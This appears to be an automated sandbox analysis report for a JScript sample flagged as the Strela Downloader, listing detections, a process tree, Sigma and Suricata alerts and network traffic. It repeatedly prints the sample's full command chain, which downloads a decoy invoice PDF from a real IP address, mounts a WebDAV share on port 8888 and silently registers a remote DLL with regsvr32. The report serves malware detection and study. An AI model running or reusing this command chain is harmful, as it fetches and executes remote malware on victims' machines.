Edit tour

Windows Analysis Report
213526738195689141.js

Overview

General Information

Sample name:	213526738195689141.js
Analysis ID:	1588138
MD5:	ff21fbbd2999cf58f5108bd6f3a8fdf0
SHA1:	9e0a762c8f73e638d84e910226f4d0045d2619e8
SHA256:	0d9f38b09870fa6ab5393be1364a9ddcb62c728f0e7b41e40a57e12173804f89
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5432 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213526738195689141.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6308 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6276 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7124 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2300 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1532 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1752,i,5561115583266431318,865564318396973402,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4480 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1264 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 384 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5432	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6308, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6276, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6308, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6276, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213526738195689141.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213526738195689141.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213526738195689141.js", ProcessId: 5432, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1264, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213526738195689141.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5432, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, ProcessId: 6308, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213526738195689141.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5432, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, ProcessId: 6308, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213526738195689141.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5432, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, ProcessId: 6308, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213526738195689141.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5432, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, ProcessId: 6308, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213526738195689141.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5432, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, ProcessId: 6308, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213526738195689141.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213526738195689141.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213526738195689141.js", ProcessId: 5432, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6308, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6276, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4480, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1264, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 384, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4480, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1264, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213526738195689141.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5432, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, ProcessId: 6308, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:48:37.567339+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:48:34.788835+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 213526738195689141.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 213526738195689141.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:48:34 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: global traffic	TCP traffic: 192.168.2.5:50982 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:50505 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

